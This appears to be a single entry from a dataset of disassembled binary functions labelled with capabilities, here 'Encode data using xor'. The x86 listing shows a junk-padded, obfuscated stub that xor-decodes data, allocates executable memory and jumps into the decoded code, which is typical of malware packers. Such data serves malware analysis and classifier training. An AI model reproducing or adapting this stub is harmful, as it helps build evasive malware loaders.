Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xcf19057a
or ebx, eax
sub ebx, eax
popal
mov ebx, 0x7d89d431
mov ebx, 0x49b1abe0
mov esi, 0
mov ebx, edi
mov ecx, eax
dec ecx
mov edx, ebx
inc eax
and eax, ecx
add ecx, 0x19a9fac9
mov edi, edx
mov ecx, 0x597f6d26
add ecx, eax
sub eax, 0xe5939390
inc esi
add ecx, eax
or eax, eax
cmp esi, 0x10044c0
jne 0xa789c6
and eax, ecx
add ecx, 0x8ee9a96
add eax, 0xe0a7d404
not eax
or ebx, ebx
add ebx, 1
mov ecx, 0xa78796
sub ebx, eax
and esi, eax
mov edx, 0xa7898a
sub esi, ebx
mov esi, 0x7f8e8cc9
mov edi, dword [ecx]
mov esi, ebx
or ebx, eax
and edi, 0xff
add eax, 0x712f1bb3
and eax, eax
and esi, esi
xor dword [edx], edi
add ebx, eax
not eax
add esi, 0x29391eed
inc edx
or esi, esi
add ebx, 0xe9980f36
add ecx, 1
not ebx
sub eax, 0x96221c0
sub eax, 0x9bfa0961
cmp edx, entry0
jl 0xa78a23
and eax, eax
add ebx, eax
mov eax, 0xe3843725
add eax, 0xf6743d03
sub ebx, 0x2589b75f
not ebx
or edi, esi
and esi, edx
mov ecx, 0xa7898e
sub edx, 0x9680665a
dec edx
sub edx, esi
mov ecx, dword [ecx]
sub edi, 1
inc edi
sub edi, 0x7c94412
mov ecx, dword [ecx]
inc ebx
add esi, ebx
sub edi, edx
push ecx
inc edx
or ebx, edx
mov ecx, 0xa7898a
and ebx, esi
sub edi, 0x3643180
mov ecx, dword [ecx]
or ebx, edi
mov edx, 0x76f14aad
sub edi, 0xdc4d9cb0
mov ecx, dword [ecx]
and esi, ebx
add edx, 0x9b310546
dec ebx
sub esp, 4
mov dword [esp], 0xa78992
or edx, edi
mov esi, edx
call ecx
and esi, edx
sub edi, esi
mov ecx, dword [esp]
add esp, 4
add edi, 0x4e82de52
sub ebx, esi
or edi, ebx
sub esp, 4
mov dword [esp], 0xa7899f
mov edi, 0xc43903e2
inc ebx
sub esp, 4
mov dword [esp], eax
sub edi, 0x908f69e6
or edi, esi
call ecx
mov edi, 0x76c24b6e
add ebx, esi
mov edi, 0x5b83420b
push 0x40
and ebx, edi
and esi, esi
push 0x3000
not ebx
add edx, 0xacce7ced
mov edi, esi
push 0x20000634
sub ebx, edx
add edi, 0xf0ae192e
push 0
or ebx, edi
mov esi, ebx
sub esi, ebx
call eax
dec ebx
sub ebx, edi
add eax, 0x2000057f
sub esi, 1
sub esi, edi
not edi
mov ecx, 0xe067fa29
mov esi, 0x6903a87f
mov edx, esi
mov dword [eax], ecx
dec ebx
and esi, ebx
not esi
mov ecx, dword [eax]
mov edi, 0x247a8e07
and edi, esi
add ebx, esi
cmp ecx, 0xe067fa29
je 0xa78b9a
mov ebx, 0
mov dword [ebx], ecx
or edi, ebx
not esi
and edx, esi
add edx, 1
sub esi, edx
add ebx, 0xddfeb062
add ebx, 1
mov ebx, eax
mov esi, section..reloc
mov ebx, 0xa564c723
add eax, 0x10470f02
inc ebx
mov ecx, 0xa78795
or ebx, ebx
inc eax
mov eax, 0x90f597a0
mov edx, 0
mov eax, 0x42118c1a
and ebx, eax
mov edi, 0xa78796
sub eax, ebx
mov eax, 0xfaaa7832
or eax, eax
lea edi, [edx + edi]
mov ebx, eax
sub ebx, 0x52e50504
mov edi, dword [edi]
mov eax, 0x84220da8
dec ebx
add eax, 0x2abade1a
and edi, 0xff
mov eax, 0x1e1ca4b
inc ebx
mov eax, 0x50ab9a9
inc edx
sub ebx, 0x5c19ef45
sub ebx, eax
cmp edx, 0x1f4
jne 0xa78c2e
mov edx, 0
inc eax
add eax, ebx
mov ebx, 0x95243253
mov eax, ebx
and ebx, eax
sub eax, ebx
xor dword [esi], edi
sub eax, 1
inc ebx
add esi, 2
and ebx, ebx
mov ebx, eax
cmp esi, ecx
jl 0xa78be0
inc ebx
sub eax, 0xb2e0ccab
mov eax, 0xde9fa05c
not eax
add eax, 0x8e8b6100
mov esi, section..reloc
add edi, 0xb3878c87
add edi, 0xc38493f6
sub edi, edx
mov ecx, section..reloc
or edx, edi
inc edx
mov eax, 0xa78795
sub edx, edi
add edx, edi
add edx, edx
mov ebx, 0
and edx, edi
mov edx, 0x915f1f0
mov bl, byte [ecx]
mov edx, edi
not edx
mov byte [esi], bl
add edi, 1
or edi, edx
inc esi
not edi
sub edx, edi
add ecx, 2
dec edx
mov edi, 0x2349e080
not edi
cmp ecx, eax
jle 0xa78c9d
mov edx, 0xe4edd896
add edx, edx
add ebx, 0xdd792c77
and ebx, ebx
sub eax, 0x1a732548
sub esp, 4
mov dword [esp], 0x8dc6a0
dec eax
mov eax, ebx
not ebx
ret